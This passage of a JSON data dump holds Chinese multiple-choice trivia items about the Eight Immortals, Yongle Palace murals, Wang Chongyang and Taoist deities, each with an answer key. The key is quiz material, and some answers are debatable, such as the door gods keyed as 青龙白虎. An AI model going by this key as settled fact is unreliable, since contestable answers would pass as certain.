16:47:40","status":"1"},{"questionId":"6001430875","questionIndex":"2","questionStem":"八仙桌的名称由来是?","options":"[{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eRjiLkJ6QdXhatkt\",\"optionDesc\":\"桌子上刻有八仙\"},{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eNWHaa1WGNSoxXwM\",\"optionDesc\":\"桌子有八条腿\"},{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eshTHsn6t0d3YTeE\",\"optionDesc\":\"桌子可围坐八人\"}]","questionToken":"LcQSx0BQjzZSv92Ngr-vL126lzBQox6jm-V9foZ01yNnFqKwfn1C29-ybYOpf9Q_ykXdNpDQ-OEAIKYaj_PwcLGLQTib6g","correct":"{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eshTHsn6t0d3YTeE\",\"optionDesc\":\"桌子可围坐八人\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430876","questionIndex":"2","questionStem":"八仙中最晚成仙的是?","options":"[{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0ej0s9r2jJ0KJlVaa\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0eMf5-mwdnx8yIoMS\",\"optionDesc\":\"何仙姑\"},{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0eZAiHcX0t4nad1Fb\",\"optionDesc\":\"韩湘子\"}]","questionToken":"LcQSx0BQjzZSvN2Ngr-vKOS7g5d6DQXZdblyEFbnRvINnGJanhzEON3jgKEpgOtoXj6xDSuYY21fbS1IVR2-YSSq4xiC4w","correct":"{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0ej0s9r2jJ0KJlVaa\",\"optionDesc\":\"曹国舅\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6001430877","questionIndex":"2","questionStem":"八仙中汉钟离的姓氏是?","options":"[{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0etUqZvfhO8IZRLw\",\"optionDesc\":\"钟离\"},{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0eQhWf_l9YYBzSgk\",\"optionDesc\":\"钟\"},{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0eL570m2z0zqwCi8\",\"optionDesc\":\"汉\"}]","questionToken":"LcQSx0BQjzZSvd2Ngr-vLwUkaQWxj6NA1hQYcDL6y8lkPePTZx22reE70fkA9v5oZcRJONxM7xEm8EhAmI-qRA0uZPEPoQ","correct":"{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0etUqZvfhO8IZRLw\",\"optionDesc\":\"钟离\"}","create_time":"2/2/2021 16:48:39","update_time":"2/2/2021 16:48:39","status":"1"},{"questionId":"6001430878","questionIndex":"1","questionStem":"传说中八仙得道前年事最高的人?","options":"[{\"optionId\":\"LcQSx0BQjzZSst3ckfe0efI-9We_jZlIXw\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eB6WMAzhgcfG1Q\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eiRskAJapVdXRw\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZSst2Ogr-vKKzOgAsa0AE541wddzbEs_mkaOeHGIZAZMpG2VSfdpZaWJNTHX1FxOTuzAGBP3pK_1M2djV4xg","correct":"{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eiRskAJapVdXRw\",\"optionDesc\":\"张果老\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430879","questionIndex":"1","questionStem":"根据永乐宫壁画,吕洞宾成仙是由谁度化的?","options":"[{\"optionId\":\"LcQSx0BQjzZSs93ckfe0eWdE9X_cASQWOMg\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZSs93ckfe0eBhOQTZqhRviZfA\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZSs93ckfe0euqFhU5tioOxvNA\",\"optionDesc\":\"钟离权\"}]","questionToken":"LcQSx0BQjzZSs92Ogr-vL0SY1ojebLcEpZF7EuEwWpGGgcIsumxIcjtfpOPHik_rX1eQFBFszg7bfmyFHcXGyPh9w2bMSQ","correct":"{\"optionId\":\"LcQSx0BQjzZSs93ckfe0euqFhU5tioOxvNA\",\"optionDesc\":\"钟离权\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430880","questionIndex":"4","questionStem":"吕洞宾“一梦到华胥”时,隔壁正在煮什么?","options":"[{\"optionId\":\"LcQSx0BQjzZdut3ckfe0efWtA76zpgQnSW6M\",\"optionDesc\":\"红豆\"},{\"optionId\":\"LcQSx0BQjzZdut3ckfe0ejJe7t7hVz5LrzgA\",\"optionDesc\":\"黄粱\"},{\"optionId\":\"LcQSx0BQjzZdut3ckfe0eByEVtbAigTg7LGI\",\"optionDesc\":\"薏米\"}]","questionToken":"LcQSx0BQjzZdut2Lgr-vLw11ArYuG5w5ier2aI5Z8J-3k0rOjwI2vMGmSi_pymJJQ-decYQqQ3sqOsAXDdprXnq6D6nYEA","correct":"{\"optionId\":\"LcQSx0BQjzZdut3ckfe0ejJe7t7hVz5LrzgA\",\"optionDesc\":\"黄粱\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430881","questionIndex":"2","questionStem":"永乐宫壁画中何仙姑吃了何物才得道升仙的?","options":"[{\"optionId\":\"LcQSx0BQjzZdu93ckfe0ei0K05dBnfjbd0hi\",\"optionDesc\":\"仙桃\"},{\"optionId\":\"LcQSx0BQjzZdu93ckfe0eUalSh6_9EbVJBI2\",\"optionDesc\":\"琼浆玉露\"},{\"optionId\":\"LcQSx0BQjzZdu93ckfe0eBdsWaLWtzqs5Xf1\",\"optionDesc\":\"云母\"}]","questionToken":"LcQSx0BQjzZdu92Ngr-vL0fubBA1iKyB0AjKDZJq3nBwN3GOlVY9WRtb04M54Z58Zl8rLIke-gaemdXOxs-H1Gc25k5Nug","correct":"{\"optionId\":\"LcQSx0BQjzZdu93ckfe0ei0K05dBnfjbd0hi\",\"optionDesc\":\"仙桃\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430882","questionIndex":"1","questionStem":"八仙过海是为了参加谁的宴会?","options":"[{\"optionId\":\"LcQSx0BQjzZduN3ckfe0eFHOu_RGJURUWfto\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ep2923sbLhawt-vZ\",\"optionDesc\":\"王母娘娘\"},{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ecp3-xGcUHLj7X0f\",\"optionDesc\":\"如来佛祖\"}]","questionToken":"LcQSx0BQjzZduN2Ogr-vKNLKn3YQSrJyGnteYQt6UOreN9L7hpt_3_UjS2TPH9FqkvcDe0DBo9F0TMG7RoTyg9gPjwS9aw","correct":"{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ep2923sbLhawt-vZ\",\"optionDesc\":\"王母娘娘\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430883","questionIndex":"4","questionStem":"吕洞宾曾对汉钟离称自己三年可度几人?","options":"[{\"optionId\":\"LcQSx0BQjzZdud3ckfe0eJGUSsBkVBCO\",\"optionDesc\":\"八人\"},{\"optionId\":\"LcQSx0BQjzZdud3ckfe0eSxFsDGiw7Mz\",\"optionDesc\":\"八千人\"},{\"optionId\":\"LcQSx0BQjzZdud3ckfe0egQRcQrUNgdP\",\"optionDesc\":\"三千人\"}]","questionToken":"LcQSx0BQjzZdud2Lgr-vKCz1nZFhCEHj2wU65pgaDLPlaReMb2PpBjiIrYfjaioe_NsqO4xlLFJsgGtgP-KqatbE7YcBtg","correct":"{\"optionId\":\"LcQSx0BQjzZdud3ckfe0egQRcQrUNgdP\",\"optionDesc\":\"三千人\"}","create_time":"2/2/2021 16:48:08","update_time":"2/2/2021 16:48:08","status":"1"},{"questionId":"6001430884","questionIndex":"4","questionStem":"传说中谁是八仙中俗家身份最高的人?","options":"[{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eoqKF9y_Y2XAEc8\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eEro0qVAnRThm2I\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eZ-YKYQVvAip7HE\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZdvt2Lgr-vKKunM0pFomqfHhEISz2n2xV5ojUZ7wSMtXwaXrQJ_Ne2UbVzxUSnb5j9y1vsAycG9Ee7-HFrTA","correct":"{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eoqKF9y_Y2XAEc8\",\"optionDesc\":\"曹国舅\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6001430885","questionIndex":"2","questionStem":"永乐宫壁画中,以下哪座名楼与吕洞宾有关?","options":"[{\"optionId\":\"LcQSx0BQjzZdv93ckfe0eaHTVp2HQ-FhEm-6\",\"optionDesc\":\"鹳雀楼\"},{\"optionId\":\"LcQSx0BQjzZdv93ckfe0eFJDIMssO9AeKeCH\",\"optionDesc\":\"滕王阁\"},{\"optionId\":\"LcQSx0BQjzZdv93ckfe0ehoE_GbBklGtq4vh\",\"optionDesc\":\"黄鹤楼\"}]","questionToken":"LcQSx0BQjzZdv92Ngr-vKOuKY5vPLT3L3sKC3Q1lxAOnPefzE_T6iaqax-01cguIt8-douLcrpBXNrPXzOsxTPQb17NxjQ","correct":"{\"optionId\":\"LcQSx0BQjzZdv93ckfe0ehoE_GbBklGtq4vh\",\"optionDesc\":\"黄鹤楼\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6001430886","questionIndex":"2","questionStem":"八仙中以下哪位和吕洞宾的不是师徒关系?","options":"[{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0evVdvbwllIpE3ptUBg\",\"optionDesc\":\"张果老\"},{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0eSY9dqk8RnlMQunu0Q\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0eAWH_PMOxsQj-mt4Ig\",\"optionDesc\":\"何仙姑\"}]","questionToken":"LcQSx0BQjzZdvN2Ngr-vKPtjULOwLdG0WhL0-r0saalZZyW9QGhdGZFXVx7uPhExQsCb-45Ajdtcsbdb6qZnzdbw0tgLow","correct":"{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0evVdvbwllIpE3ptUBg\",\"optionDesc\":\"张果老\"}","create_time":"2/2/2021 16:48:06","update_time":"2/2/2021 16:48:06","status":"1"},{"questionId":"6001430887","questionIndex":"2","questionStem":"以下哪位神仙为传说中的“八仙之首”?","options":"[{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eawSW710Vogwl1k\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eDMvQ8n9vctrkFI\",\"optionDesc\":\"钟离权\"},{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eiu9NlPjWu7r_i0\",\"optionDesc\":\"铁拐李\"}]","questionToken":"LcQSx0BQjzZdvd2Ngr-vKJ5p8_SrNNZZIMtnWLzqC4NzHzVokO4Egpn7dboiBkAbYobrvuuv2pV6F6D9RaU0BrG5Nc3Eww","correct":"{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eiu9NlPjWu7r_i0\",\"optionDesc\":\"铁拐李\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430888","questionIndex":"3","questionStem":"传说中韩湘子是以下哪位名人的亲戚?","options":"[{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eFdMOV9Htwt_YM4K_A\",\"optionDesc\":\"韩非子\"},{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eSOazJK2SAZxY6tRYw\",\"optionDesc\":\"韩信\"},{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eixEogCU6XKfR0SogA\",\"optionDesc\":\"韩愈\"}]","questionToken":"LcQSx0BQjzZdst2Mgr-vL4pvIvp9Gq9H9BEvAyzUdAylgzb0keT6-_S7DAlkg5uW73PMbyaa3NuZQjflOBJpS1ENHEAw-Q","correct":"{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eixEogCU6XKfR0SogA\",\"optionDesc\":\"韩愈\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430889","questionIndex":"1","questionStem":"八仙中的哪一位曾元神出窍后借尸还魂?","options":"[{\"optionId\":\"LcQSx0BQjzZds93ckfe0eM5H_pYjPKlXhmo\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZds93ckfe0eqXvGav2uF_Y7cM\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZds93ckfe0eYmECYg2psNadFc\",\"optionDesc\":\"何仙姑\"}]","questionToken":"LcQSx0BQjzZds92Ogr-vL8XkJmeHi8pNn9C64eRKNgmNEK4TDwKOnlt_CTghxSR7hpzllHBvLOSzGQoQQGmx6Ie394Dd-g","correct":"{\"optionId\":\"LcQSx0BQjzZds93ckfe0eqXvGav2uF_Y7cM\",\"optionDesc\":\"铁拐李\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6001430890","questionIndex":"1","questionStem":"八仙中的哪一位与“竹篮打水”的故事有关?","options":"[{\"optionId\":\"LcQSx0BQjzZcut3ckfe0elNxq3sKkNWZkW9K\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"LcQSx0BQjzZcut3ckfe0eUpLKtnL89UTIVyN\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"LcQSx0BQjzZcut3ckfe0eGCSELiNHluPBj9P\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZcut2Ogr-vLz-_ud_5yCneWVtrktGmqGm6dKZrYmBqKqfVsm4zHe_rWstp1hIaGiEty0S6Om0Yvf6I8c594g","correct":"{\"optionId\":\"LcQSx0BQjzZcut3ckfe0elNxq3sKkNWZkW9K\",\"optionDesc\":\"蓝采和\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430891","questionIndex":"5","questionStem":"王重阳传说故事的壁画位于永乐宫哪个建筑?","options":"[{\"optionId\":\"LcQSx0BQjzZcu93ckfe0eByMVbp7dujuayp3Bg\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"LcQSx0BQjzZcu93ckfe0eYgr8rfVTn7o1pifXA\",\"optionDesc\":\"纯阳殿\"},{\"optionId\":\"LcQSx0BQjzZcu93ckfe0et8vPjzCQJKoscM1NA\",\"optionDesc\":\"重阳殿\"}]","questionToken":"LcQSx0BQjzZcu92Kgr-vKM4WSvkVqb_wIBe1fkHDFe1j6CNMpGlEnpS6Krc8tMQ9CYsAjMX53sZpCJ84Hn2M2isPLNjzPQ","correct":"{\"optionId\":\"LcQSx0BQjzZcu93ckfe0et8vPjzCQJKoscM1NA\",\"optionDesc\":\"重阳殿\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430892","questionIndex":"5","questionStem":"王重阳最著名的七位弟子被称作?","options":"[{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0eC3r_wTq1iGgxkA\",\"optionDesc\":\"江南七怪\"},{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0ekjYkTzNELA1mFY\",\"optionDesc\":\"全真七子\"},{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0eWYYc54OmvQRfYg\",\"optionDesc\":\"武当七侠\"}]","questionToken":"LcQSx0BQjzZcuN2Kgr-vLw49ajDj9_6LS7EiV6B192yNBHUMRXH5hIatyWDG1xcgjgicv893Y5QA3TQF4lj6vokpWC34Sw","correct":"{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0ekjYkTzNELA1mFY\",\"optionDesc\":\"全真七子\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430893","questionIndex":"3","questionStem":"下列哪位不是王重阳的弟子全真七子之一?","options":"[{\"optionId\":\"LcQSx0BQjzZcud3ckfe0eCToQDisJix-gw\",\"optionDesc\":\"孙不二\"},{\"optionId\":\"LcQSx0BQjzZcud3ckfe0ecCpxS2TMW9gJA\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"LcQSx0BQjzZcud3ckfe0erWHfVyMuVfN-A\",\"optionDesc\":\"尹志平\"}]","questionToken":"LcQSx0BQjzZcud2Mgr-vL84-6rxEdoYA5udyVd71_Bmn4pmCZzAQ4eJcrAg5Dm2eiM3tssTSmjtWSZhdQT8v6Sn50_b_Uw","correct":"{\"optionId\":\"LcQSx0BQjzZcud3ckfe0erWHfVyMuVfN-A\",\"optionDesc\":\"尹志平\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430894","questionIndex":"5","questionStem":"王重阳没有出现在金庸的哪部小说中?","options":"[{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0eZhGE-WmlYP5wF4\",\"optionDesc\":\"《神雕侠侣》\"},{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0esn_FtoaGVSepvs\",\"optionDesc\":\"《倚天屠龙记》\"},{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0eCyWxLsD9wxMAAQ\",\"optionDesc\":\"《射雕英雄传》\"}]","questionToken":"LcQSx0BQjzZcvt2Kgr-vKADnt9aZqP7E7kDW93_zEPQ6-y3WLssHj23HWbMsyUKaANeBVbHujjojO6tpAE9-KnjeJ0CPOA","correct":"{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0esn_FtoaGVSepvs\",\"optionDesc\":\"《倚天屠龙记》\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430895","questionIndex":"1","questionStem":"王重阳是道教哪个门派的创始人?","options":"[{\"optionId\":\"LcQSx0BQjzZcv93ckfe0ed1XaF4fQoK8thWF5Q\",\"optionDesc\":\"正一派\"},{\"optionId\":\"LcQSx0BQjzZcv93ckfe0ePeSGvJdHSW1dSKYtA\",\"optionDesc\":\"武当派\"},{\"optionId\":\"LcQSx0BQjzZcv93ckfe0emc2cwADvc39Orspqg\",\"optionDesc\":\"全真派\"}]","questionToken":"LcQSx0BQjzZcv92Ogr-vKCNvBkdyQbHtm5EsZ1QWwDlcrGcUfKes0yANIalWONFkUwGtJt6uS5RqJkONS0SNqgzF8DTTXQ","correct":"{\"optionId\":\"LcQSx0BQjzZcv93ckfe0emc2cwADvc39Orspqg\",\"optionDesc\":\"全真派\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6001430896","questionIndex":"2","questionStem":"丘处机向哪位君主进献《止杀令》?","options":"[{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eVq2Tt3-nXy-Oa7P1w\",\"optionDesc\":\"忽必烈\"},{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eq7ZFTz2alS1d2hGAA\",\"optionDesc\":\"成吉思汗\"},{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eFYmcaXocF1Ai81DvA\",\"optionDesc\":\"朱元璋\"}]","questionToken":"LcQSx0BQjzZcvN2Ngr-vL3kBk2uuOfqKHpXJRBxJKoj5aAOH0nJZkwcUTW6S8mh_7WkVXtr4eIE7Z7uvkZbCjFt_5iU56g","correct":"{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eq7ZFTz2alS1d2hGAA\",\"optionDesc\":\"成吉思汗\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6001430897","questionIndex":"2","questionStem":"下列哪种法器不属于道教法器?","options":"[{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0eBmh7TNmGA-HhLN6wQ\",\"optionDesc\":\"宝镜\"},{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0ea6uiQyfH-isTqgqIA\",\"optionDesc\":\"拂尘\"},{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0em0IaFsmOxImwBrhEQ\",\"optionDesc\":\"十字架\"}]","questionToken":"LcQSx0BQjzZcvd2Ngr-vL-wp_0sUNfcYwBOOQAhURenRdpz9yv_zUPXWFQ89sKB1KKJVUzKzIr5bBAUcOw-diiG8B1ry6w","correct":"{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0em0IaFsmOxImwBrhEQ\",\"optionDesc\":\"十字架\"}","create_time":"2/2/2021 16:48:14","update_time":"2/2/2021 16:48:14","status":"1"},{"questionId":"6001430898","questionIndex":"1","questionStem":"下列哪个神不属于道教中的“三清”?","options":"[{\"optionId\":\"LcQSx0BQjzZcst3ckfe0eRatmQ9nm_wvjAa3nA\",\"optionDesc\":\"太上老君\"},{\"optionId\":\"LcQSx0BQjzZcst3ckfe0envchT4SAi3rOl5oVA\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"LcQSx0BQjzZcst3ckfe0eO4935f7S9fwDIjx6A\",\"optionDesc\":\"元始天尊\"}]","questionToken":"LcQSx0BQjzZcst2Ogr-vL9hTitaImRj4jyZNGgPs1MA_Z7nbQPHP8fsdZ3wbEFbq69QBQnyBw5he2iDls_bS2_9CLrLOKQ","correct":"{\"optionId\":\"LcQSx0BQjzZcst3ckfe0envchT4SAi3rOl5oVA\",\"optionDesc\":\"玉皇大帝\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430899","questionIndex":"2","questionStem":"请问下列哪位道士不属于全真派?","options":"[{\"optionId\":\"LcQSx0BQjzZcs93ckfe0elQbHmBcV8G3VoT-\",\"optionDesc\":\"张三丰\"},{\"optionId\":\"LcQSx0BQjzZcs93ckfe0eSGHIRy6-DC4N2Cr\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"LcQSx0BQjzZcs93ckfe0eP0Jm4ywryrOFMMS\",\"optionDesc\":\"尹志平\"}]","questionToken":"LcQSx0BQjzZcs92Ngr-vKFtqHqNWZSjQPel2B09khUt00TpdAqQSoqe5ewdE2PD-z1jqC33LxLEPE38lfJoZcpvRLOaHTA","correct":"{\"optionId\":\"LcQSx0BQjzZcs93ckfe0elQbHmBcV8G3VoT-\",\"optionDesc\":\"张三丰\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"6001430900","questionIndex":"4","questionStem":"太上老君在“三清”中被称作?","options":"[{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8GUKW7luRq6b38BGHg\",\"optionDesc\":\"灵宝天尊\"},{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8x-K8kGeA4CAizcG3A\",\"optionDesc\":\"道德天尊\"},{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8cQ9HpHXdteEyvIrJg\",\"optionDesc\":\"元始天尊\"}]","questionToken":"LcQSx0BQjze5tmz53ahHocKJG9xWC7L-0VDrW-rgQx_rdreq-oezem_oWw6_Qvs-p680eImWUOrKwt45qU2qj-H6kmznsw","correct":"{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8x-K8kGeA4CAizcG3A\",\"optionDesc\":\"道德天尊\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"6001430901","questionIndex":"5","questionStem":"“玄元十子”是谁的弟子?","options":"[{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8dPQFEuelT2tPIEz\",\"optionDesc\":\"庄子\"},{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8P4GSVW2v-MpqpYK\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8_YgQzaAhatR72U_\",\"optionDesc\":\"老子\"}]","questionToken":"LcQSx0BQjze5t2z43ahHoYez41joyFGv_NhsxUuIegs-tIqO4OBCqMvPgkrpSEFPZrvm0vZeRr3mW4SEN6a1L89DmHgd_A","correct":"{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8_YgQzaAhatR72U_\",\"optionDesc\":\"老子\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6001430902","questionIndex":"2","questionStem":"金庸小说中,王重阳的外号是?","options":"[{\"optionId\":\"LcQSx0BQjze5tGyuzuBc84xUHFdhQGGmNBE\",\"optionDesc\":\"中神通\"},{\"optionId\":\"LcQSx0BQjze5tGyuzuBc8NBgdZ_h9VnIO4w\",\"optionDesc\":\"神算子\"},{\"optionId\":\"LcQSx0BQjze5tGyuzuBc8Vop2fUowbjEDGc\",\"optionDesc\":\"云中鹤\"}]","questionToken":"LcQSx0BQjze5tGz_3ahHpphpKQlDnWPBFbYk5g6lM-aSITPNDnS2pNPaEUvQ727b4PZ8KQjlCdFz3A6NADx3n9OahItFjw","correct":"{\"optionId\":\"LcQSx0BQjze5tGyuzuBc84xUHFdhQGGmNBE\",\"optionDesc\":\"中神通\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430903","questionIndex":"4","questionStem":"王重阳通过华山论剑获得了哪本武林秘籍?","options":"[{\"optionId\":\"LcQSx0BQjze5tWyuzuBc8erShgupyUkdro_u\",\"optionDesc\":\"葵花宝典\"},{\"optionId\":\"LcQSx0BQjze5tWyuzuBc8PzocDcqKxw95X_4\",\"optionDesc\":\"九阳神功\"},{\"optionId\":\"LcQSx0BQjze5tWyuzuBc83DJl6iDWQAjYeIW\",\"optionDesc\":\"九阴真经\"}]","questionToken":"LcQSx0BQjze5tWz53ahHoWkeVkCL-MxaijKqe-6LCRLo8dAc--UAVwIi117n2jdR10T0aJZoDXM21s9EDZn0hbS53rPk_A","correct":"{\"optionId\":\"LcQSx0BQjze5tWyuzuBc83DJl6iDWQAjYeIW\",\"optionDesc\":\"九阴真经\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430904","questionIndex":"4","questionStem":"历史上王重阳通过什么选拔一度为官?","options":"[{\"optionId\":\"LcQSx0BQjze5smyuzuBc8RsERAgmD5jG03P8cA\",\"optionDesc\":\"礼部试科举\"},{\"optionId\":\"LcQSx0BQjze5smyuzuBc8LQb2U-oRwEYkxQO8Q\",\"optionDesc\":\"举孝廉\"},{\"optionId\":\"LcQSx0BQjze5smyuzuBc80aDHZSGZwyhxKAJ7g\",\"optionDesc\":\"武举\"}]","questionToken":"LcQSx0BQjze5smz53ahHptnvSWA07NhgYDPBQSs3rs9Sse7OD73FC0AvY9kxXdu-7hnE6fHS3dTa5TybJuEM7c9GCzJnWQ","correct":"{\"optionId\":\"LcQSx0BQjze5smyuzuBc80aDHZSGZwyhxKAJ7g\",\"optionDesc\":\"武举\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430905","questionIndex":"1","questionStem":"道教中的门神是?","options":"[{\"optionId\":\"LcQSx0BQjze5s2yuzuBc8A3iJqh_mOhYUSQ6XQ\",\"optionDesc\":\"秦琼与尉迟敬德\"},{\"optionId\":\"LcQSx0BQjze5s2yuzuBc8bPWnVv6911UGPWRmw\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"LcQSx0BQjze5s2yuzuBc894NrYy8Onmf5atmUA\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"LcQSx0BQjze5s2z83ahHoZq-1XLbdb2SUNzCDurSqP8wsdEy0JOrju0JHILHhO7YYYPVxppCfAAzsyb6-TaPWiXe8EZ1Hg","correct":"{\"optionId\":\"LcQSx0BQjze5s2yuzuBc894NrYy8Onmf5atmUA\",\"optionDesc\":\"青龙白虎\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6001430906","questionIndex":"4","questionStem":"道教中地位最高的神是?","options":"[{\"optionId\":\"LcQSx0BQjze5sGyuzuBc84ocQb2nyZ9FRCY\",\"optionDesc\":\"元始天尊\"},{\"optionId\":\"LcQSx0BQjze5sGyuzuBc8LNgQttCfI31KtE\",\"optionDesc\":\"灵宝天尊\"},{\"optionId\":\"LcQSx0BQjze5sGyuzuBc8ZI_txvJ9f87b9E\",\"optionDesc\":\"道德天尊\"}]","questionToken":"LcQSx0BQjze5sGz53ahHocdZoIUn2nJU_1imFh4ixfYp3NFTy6nT12eFY2_J4r-7FPi3MYkQgnXLaI635_mHOPzmT0QnPg","correct":"{\"optionId\":\"LcQSx0BQjze5sGyuzuBc84ocQb2nyZ9FRCY\",\"optionDesc\":\"元始天尊\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 